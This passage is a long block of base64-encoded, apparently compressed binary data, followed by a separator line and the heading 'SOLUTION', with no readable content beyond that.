	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
	
	--------------------------------------------------------------------------------
SOLUTION